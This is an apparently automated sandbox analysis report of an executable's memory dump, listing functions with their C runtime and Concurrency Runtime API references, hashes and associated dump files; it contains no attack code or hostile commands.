Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FindVolume$CloseContainer_base12Container_base12::~_DeviceFirstNextQuerystd::_
String ID:
API String ID: 4182777113-0
Opcode ID: 115324380693658be09e040f7a347f635bfc34b64d2202086a7e30e085525ac1
Instruction ID: 9145a5258cb8db77f15277b61f5109f8be98fecf511162b2025c83343dfce0ba
Opcode Fuzzy Hash: 115324380693658be09e040f7a347f635bfc34b64d2202086a7e30e085525ac1
Instruction Fuzzy Hash: F07181B19001289BCB64DB64CD95BEDB379AF58310F4042E9E60AA3192EF345F85CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00AB9DE0, Relevance: 7.6, APIs: 5, Instructions: 136COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00AB9E14

Part of subcall function 00AA8FC0: std::ios_base::good.LIBCPMTD ref: 00AA8FCC

operator!=.LIBCPMTD ref: 00AB9EC2
Concurrency::details::_AsyncTaskCollection::~_AsyncTaskCollection.LIBCONCRTD ref: 00AB9F7D
Concurrency::details::_AsyncTaskCollection::~_AsyncTaskCollection.LIBCONCRTD ref: 00AB9F85
Concurrency::details::_AsyncTaskCollection::~_AsyncTaskCollection.LIBCONCRTD ref: 00AB9F90

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AsyncTask$CollectionCollection::~_Concurrency::details::_$std::ios_base::good$operator!=
String ID:
API String ID: 174882670-0
Opcode ID: d95b1dc634b6cf8e5d04484c0239d42481f1e6f85fa023905db5ee180557ee56
Instruction ID: 9d514d981983b0dd591489c6348e1d6b10d55ee96f75ac9855a168f5770ccc83
Opcode Fuzzy Hash: d95b1dc634b6cf8e5d04484c0239d42481f1e6f85fa023905db5ee180557ee56
Instruction Fuzzy Hash: C7513CB5C001199ACB28EB64DE92BFFB378AF15340F508169F51667183EF30AA09CA60

Uniqueness

Uniqueness Score: -1.00%

Function 00AFE3D9, Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00AFE44B
_free.LIBCMT ref: 00AFE46B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a6cbb3270f647f28ef779d1620b1590df5a55fe5b26f8efa433b2e0192bce408
Instruction ID: 92a92a0e9b0b3a9a69c41d06754157331b2c08f9c016104abcbf09008585ef7b
Opcode Fuzzy Hash: a6cbb3270f647f28ef779d1620b1590df5a55fe5b26f8efa433b2e0192bce408
Instruction Fuzzy Hash: AA41A336A002049FCB24DFB8C991A69B7F5EF85714F1585A9E616EB3A1DA31ED01CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00ABDD90, Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00ABDDBE
std::ios_base::good.LIBCPMTD ref: 00ABDDED

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::ios_base::good
String ID:
API String ID: 3100596842-0
Opcode ID: cd3a05ec75966521c3aa0886535e2942747f1159c304c7997b11f2a99a48843d
Instruction ID: 39bc755a62355df7ac47c9d97ec0b879ecb1fd534deeb5d7f68e5034476243fd
Opcode Fuzzy Hash: cd3a05ec75966521c3aa0886535e2942747f1159c304c7997b11f2a99a48843d
Instruction Fuzzy Hash: 0131A671D00248ABCB14EBB4DD55BEEB7B8AF49300F508129F516BB2D2DF349904CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5160, Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

Concurrency::details::_Task_impl_base::_IsCanceled.LIBCPMTD ref: 00AA51B0
Concurrency::details::_Task_impl_base::_CancelWithExceptionHolder.LIBCPMTD ref: 00AA51EB
Concurrency::details::_Task_impl_base::_Cancel.LIBCPMTD ref: 00AA51FE
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA5222
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA525F

Part of subcall function 00AA4FE0: Concurrency::details::ScheduleGroupSegmentBase::HasUnrealizedChores.LIBCMTD ref: 00AA4FED

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_Task_impl_base::_$CancelContainer_base12Container_base12::~_std::_$Base::CanceledChoresConcurrency::details::ExceptionGroupHolderScheduleSegmentUnrealizedWith
String ID:
API String ID: 1606484955-0
Opcode ID: c0af6a4f469e999dfb5de04f284e8c1b2fffb046cd53cc3753a02b7cd1f7c605
Instruction ID: 4b3d7c450bfb83f2afc8babbbc0e5188cbde03a8390ec122c17048a7c855b6a5
Opcode Fuzzy Hash: c0af6a4f469e999dfb5de04f284e8c1b2fffb046cd53cc3753a02b7cd1f7c605
Instruction Fuzzy Hash: 3F314A70E006099FCB08EFA4C991BFEB7B1BF49310F108229E412AB2D1DB34AD45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00AE60BA, Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00AE60DF

Part of subcall function 00ADC109: _SpinWait.LIBCONCRT ref: 00ADC121

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00AE60F3
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AE6125
List.LIBCMT ref: 00AE61A8
List.LIBCMT ref: 00AE61B7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 064b89de11b4d2ed777f51aae3aa736e2cf9013e64297090d52f9fa881f674c7
Instruction ID: 330786d6a7a8459cecd0fb4ae59eb20e3e379508e36dc30e4b6e25a3747a10a1
Opcode Fuzzy Hash: 064b89de11b4d2ed777f51aae3aa736e2cf9013e64297090d52f9fa881f674c7
Instruction Fuzzy Hash: 43317A31D016A6DFCB15EFA5CA516EDFBB0BF24358F45466EE40267242DB31AE04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AA3790, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00AA2C10: _Subatomic.LIBCPMTD ref: 00AA2C1E

Concurrency::details::_CancellationTokenState::_IsCanceled.LIBCONCRTD ref: 00AA37E0
Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00AA37F6

Part of subcall function 00AA7C20: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C34

Concurrency::details::_CancellationTokenState::_IsCanceled.LIBCONCRTD ref: 00AA3805
Concurrency::details::_CancellationTokenState::TokenRegistrationContainer::push_back.LIBCONCRTD ref: 00AA381F

Part of subcall function 00AA35F0: Concurrency::details::SweeperContext::SweeperContext.LIBCMTD ref: 00AA3639

SafeRWList.LIBCONCRTD ref: 00AA382E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_Token$Cancellation$CanceledState::_Sweeper$Concurrency::details::Container::push_backContextContext::CriticalListLock::_Mutex_baseMutex_base::~_ReentrantRegistrationSafeScoped_lockScoped_lock::_State::Subatomicstd::_
String ID:
API String ID: 2110031306-0
Opcode ID: 58965d8f55bb620394a9c9c7699854671b32bb5d801e1b1d93ce83d5053da8f2
Instruction ID: 479f6012ebba41768b35092c6e417ebe690885869f949809b6c9f1a05a511031
Opcode Fuzzy Hash: 58965d8f55bb620394a9c9c7699854671b32bb5d801e1b1d93ce83d5053da8f2
Instruction Fuzzy Hash: A121F871E042499BCF08EFA8C952BBFBBB5AB55710F108119B8125B3D2DB789A05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ADBB35, Relevance: 7.6, APIs: 5, Instructions: 61timeCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00ADBB57

Part of subcall function 00ADBD27: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00AE2F9B

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00ADBB78

Part of subcall function 00ADDB9E: ___crtCreateThreadpoolTimer.LIBCPMT ref: 00ADDBAC
Part of subcall function 00ADDB9E: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00ADDBBA
Part of subcall function 00ADDB9E: ___crtSetThreadpoolTimer.LIBCPMT ref: 00ADDBF0

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00ADBB94
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 00ADBB9B
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADBBD3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Timer$Concurrency::details::$Scheduler$Base::CreateLibraryLoadQueueThreadpool___crt$AsyncConcurrency::details::platform::__ContextCurrentDefaultException@8ReferenceRegisterSharedThrow
String ID:
API String ID: 1034965571-0
Opcode ID: 3c5c1937ccc30ecd1b0a8885a2a9e016f94c1ffe0fc54e8b322916d95420fc9f
Instruction ID: d4c03983a47d9d424ba30d467e5593e343c346987a579ad9f4584a6b3aa238b4
Opcode Fuzzy Hash: 3c5c1937ccc30ecd1b0a8885a2a9e016f94c1ffe0fc54e8b322916d95420fc9f
Instruction Fuzzy Hash: 9311E971500309EBCB20AFA8DD86DABB7B8EF21354B51496BF99392292D770990487B1

Uniqueness

Uniqueness Score: -1.00%

Function 00ABF580, Relevance: 7.6, APIs: 5, Instructions: 59processsynchronizationCOMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00ABF596
CreateProcessW.KERNEL32 ref: 00ABF5E2
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00ABF5F2
CloseHandle.KERNEL32(?), ref: 00ABF5FC
CloseHandle.KERNEL32(?), ref: 00ABF606

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateObjectProcessSingleWaitstd::ios_base::good
String ID:
API String ID: 1339197284-0
Opcode ID: a7267b2bff71acb9654c3e1c1c0eb81e9f62da202641d8f176665f804ddf578d
Instruction ID: f61a8a1ff6a29fa81aad7f02e1543138056d7d005cf1935040619e2316db0fa8
Opcode Fuzzy Hash: a7267b2bff71acb9654c3e1c1c0eb81e9f62da202641d8f176665f804ddf578d
Instruction Fuzzy Hash: EA118270E00208AFDB14DFE5DC56FDDB7B8AF48700F508129B505AB2D5DA70A605DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00AA7250, Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

Concurrency::scheduler_ptr::scheduler_ptr.LIBCPMTD ref: 00AA728B

Part of subcall function 00AA3F90: shared_ptr.LIBCPMTD ref: 00AA3F9E

_Task_ptr.LIBCPMTD ref: 00AA7298
shared_ptr.LIBCMTD ref: 00AA72B0

Part of subcall function 00AA8CD0: shared_ptr.LIBCPMTD ref: 00AA8CED
Part of subcall function 00AA8CD0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA8CFC

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA72B8

Part of subcall function 00AA73F0: _Ptr_base.LIBCMTD ref: 00AA7419

shared_ptr.LIBCPMTD ref: 00AA72D3

Part of subcall function 00AA77D0: std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 00AA77F9
Part of subcall function 00AA77D0: _Copy_construct_from.LIBCPMTD ref: 00AA7805

Part of subcall function 00AA4D40: _DebugHeapAllocator.LIBCPMTD ref: 00AA4D83
Part of subcall function 00AA4D40: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA4E00

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: shared_ptrstd::_$Container_base12Container_base12::~_$AllocatorConcurrency::scheduler_ptr::scheduler_ptrCopy_construct_fromDebugHeapIterator_baseIterator_base::_Ptr_baseTask_ptr
String ID:
API String ID: 961000812-0
Opcode ID: 1a99bf933ff9f9868f20291b4eda4560fd2974005df09920f31c5361dbc5398c
Instruction ID: 6eb262ba21f7fd58e8b61d36f6f1c09f9c95b946c1760922a3fb316f426df4f4
Opcode Fuzzy Hash: 1a99bf933ff9f9868f20291b4eda4560fd2974005df09920f31c5361dbc5398c
Instruction Fuzzy Hash: E9111FB2D142099BCF04EFA8D942AEEBBB5FB49710F10462DF415673C1DB345A04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AE2433, Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::Cleanup.LIBCONCRT ref: 00AE2465

Part of subcall function 00AE2D44: Concurrency::details::SchedulingNode::~SchedulingNode.LIBCONCRT ref: 00AE2D5E
Part of subcall function 00AE2D44: __EH_prolog3.LIBCMT ref: 00AE51DD
Part of subcall function 00AE2D44: Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00AE51EA
Part of subcall function 00AE2D44: Concurrency::details::_UnregisterConcRTEventTracing.LIBCONCRT ref: 00AE51FC
Part of subcall function 00AE2D44: InterlockedPopEntrySList.KERNEL32(00B46148,00000004,00B10BE0,000000FF), ref: 00AE5212

Hash.LIBCONCRT ref: 00AE2472
Hash.LIBCONCRT ref: 00AE2488

Part of subcall function 00ADBC63: DeleteCriticalSection.KERNEL32(?,00AE95A9,80D348A2,00000000,?,?,00000000,00B10C20,000000FF,?,00ADE09C), ref: 00ADBC64

~ListArray.LIBCONCRT ref: 00AE24A7

Part of subcall function 00AE2302: InterlockedFlushSList.KERNEL32(?,?,?,00AE24AC,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2307
Part of subcall function 00AE2302: ListArray.LIBCONCRT ref: 00AE2310
Part of subcall function 00AE2302: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00AE24AC,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2319
Part of subcall function 00AE2302: ListArray.LIBCONCRT ref: 00AE2322
Part of subcall function 00AE2302: ListArray.LIBCONCRT ref: 00AE232C

~ListArray.LIBCONCRT ref: 00AE24AF

Part of subcall function 00AE237C: InterlockedFlushSList.KERNEL32(?,?,?,00AE24B4,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2381
Part of subcall function 00AE237C: ListArray.LIBCONCRT ref: 00AE238A
Part of subcall function 00AE237C: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00AE24B4,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2393
Part of subcall function 00AE237C: ListArray.LIBCONCRT ref: 00AE239C
Part of subcall function 00AE237C: ListArray.LIBCONCRT ref: 00AE23A6
Part of subcall function 00AE237C: _InternalDeleteHelper.LIBCONCRT ref: 00AE23BF

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: List$Array$Interlocked$Flush$Concurrency::details::Concurrency::details::_DeleteHashScheduling$AcquireBase::CleanupConcCriticalEntryEventH_prolog3HelperInternalLock::_NodeNode::~ReentrantSchedulerSectionTracingUnregister
String ID:
API String ID: 2613779565-0
Opcode ID: 6cb81cd8a3570f57ccfebde28a321c368b0131fc0947eaecbc506dfb875d1924
Instruction ID: 2a31d5dda05a5e288e66082d9f235ac753eb01ffe9453ae38cb78cd60119a9e8
Opcode Fuzzy Hash: 6cb81cd8a3570f57ccfebde28a321c368b0131fc0947eaecbc506dfb875d1924
Instruction Fuzzy Hash: B6116D32610A46EFC70DEB22DA52BD9B7A4FF54710F40013AB426536A1DF35B969CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AA2B10, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Memory_order_upper_bound.LIBCONCRTD ref: 00AA2B1C
std::_Compare_exchange_acquire_4.LIBCONCRTD ref: 00AA2B43
std::_Compare_exchange_acquire_4.LIBCONCRTD ref: 00AA2B59
std::_Compare_exchange_acquire_4.LIBCONCRTD ref: 00AA2B6F
std::_Compare_exchange_acquire_4.LIBCONCRTD ref: 00AA2B85

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Compare_exchange_acquire_4$Memory_order_upper_bound
String ID:
API String ID: 845070168-0
Opcode ID: 17ba05f55e6cbbf2bee51b9c7bf9d0a5c34bb00c80f9142c0d27008287bacc9c
Instruction ID: 869fe645600ff72da374478668506aa3bf75f1b6bf76d56dd25cce9af60c2619
Opcode Fuzzy Hash: 17ba05f55e6cbbf2bee51b9c7bf9d0a5c34bb00c80f9142c0d27008287bacc9c
Instruction Fuzzy Hash: 7511D2B6614109EBCB04DF9CED81EAB33B9EB4E350F148519FD0D87241D731EA6097A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AE2439, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::Cleanup.LIBCONCRT ref: 00AE2465

Part of subcall function 00AE2D44: Concurrency::details::SchedulingNode::~SchedulingNode.LIBCONCRT ref: 00AE2D5E
Part of subcall function 00AE2D44: __EH_prolog3.LIBCMT ref: 00AE51DD
Part of subcall function 00AE2D44: Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00AE51EA
Part of subcall function 00AE2D44: Concurrency::details::_UnregisterConcRTEventTracing.LIBCONCRT ref: 00AE51FC
Part of subcall function 00AE2D44: InterlockedPopEntrySList.KERNEL32(00B46148,00000004,00B10BE0,000000FF), ref: 00AE5212

Hash.LIBCONCRT ref: 00AE2472
Hash.LIBCONCRT ref: 00AE2488

Part of subcall function 00ADBC63: DeleteCriticalSection.KERNEL32(?,00AE95A9,80D348A2,00000000,?,?,00000000,00B10C20,000000FF,?,00ADE09C), ref: 00ADBC64

~ListArray.LIBCONCRT ref: 00AE24A7

Part of subcall function 00AE2302: InterlockedFlushSList.KERNEL32(?,?,?,00AE24AC,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2307
Part of subcall function 00AE2302: ListArray.LIBCONCRT ref: 00AE2310
Part of subcall function 00AE2302: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00AE24AC,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2319
Part of subcall function 00AE2302: ListArray.LIBCONCRT ref: 00AE2322
Part of subcall function 00AE2302: ListArray.LIBCONCRT ref: 00AE232C

~ListArray.LIBCONCRT ref: 00AE24AF

Part of subcall function 00AE237C: InterlockedFlushSList.KERNEL32(?,?,?,00AE24B4,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2381
Part of subcall function 00AE237C: ListArray.LIBCONCRT ref: 00AE238A
Part of subcall function 00AE237C: InterlockedFlushSList.KERNEL32(?,00000000,?,?,00AE24B4,80D348A2,?,?,?,00B10BE0,000000FF), ref: 00AE2393
Part of subcall function 00AE237C: ListArray.LIBCONCRT ref: 00AE239C
Part of subcall function 00AE237C: ListArray.LIBCONCRT ref: 00AE23A6
Part of subcall function 00AE237C: _InternalDeleteHelper.LIBCONCRT ref: 00AE23BF

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: List$Array$Interlocked$Flush$Concurrency::details::Concurrency::details::_DeleteHashScheduling$AcquireBase::CleanupConcCriticalEntryEventH_prolog3HelperInternalLock::_NodeNode::~ReentrantSchedulerSectionTracingUnregister
String ID:
API String ID: 2613779565-0
Opcode ID: 39d30cc212ef1db45dd8fd22ebf9cb714faf12abbd02a8146d8237d763c2f2c1
Instruction ID: 560ae0c0b2d04c9786e4361f3663004478270592b5ade1de6ed2d17c2c376779
Opcode Fuzzy Hash: 39d30cc212ef1db45dd8fd22ebf9cb714faf12abbd02a8146d8237d763c2f2c1
Instruction Fuzzy Hash: A5118C32110982AFC70DFB22DA62BD9F7A4FF54710F40013AB02663AA1DF34B959CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AE2B1A, Relevance: 7.5, APIs: 5, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00ADD952: TlsGetValue.KERNEL32(?,?,00ADBD43,00ADDE7D,00000000,?,00ADBD21,?,?,?,00000000,?,00000000), ref: 00ADD958

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00AE2B44

Part of subcall function 00AEBCDB: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00AEBD02
Part of subcall function 00AEBCDB: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00AEBD1B
Part of subcall function 00AEBCDB: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00AEBD91
Part of subcall function 00AEBCDB: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00AEBD99

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00AE2B52
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00AE2B5C
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00AE2B66
__CxxThrowException@8.LIBVCRUNTIME ref: 00AE2B84

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

